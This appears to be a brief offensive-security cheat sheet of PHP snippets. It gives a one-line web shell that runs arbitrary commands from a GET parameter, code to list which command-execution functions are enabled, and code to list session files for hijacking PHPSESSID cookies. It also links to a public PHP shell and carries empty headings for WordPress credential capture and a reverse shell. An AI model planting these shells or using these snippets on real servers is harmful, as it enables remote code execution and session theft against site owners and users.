Php

start a HTTP server

python -m http.server 8000

Simple PHP Shell: https://github.com/heiswayi/simple-php-shell/blob/master/shell.phparrow-up-right

// See which functions are enabled
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

Simple php shell

// Some code
<?php system($_GET['cmd']);?>

// get all Sessions (to use in cookie PHPSESSID
<?php
print_r(scandir(session_save_path()));
?>

Capturing WP creds

base64 decode

simple php reverse shell

Last updated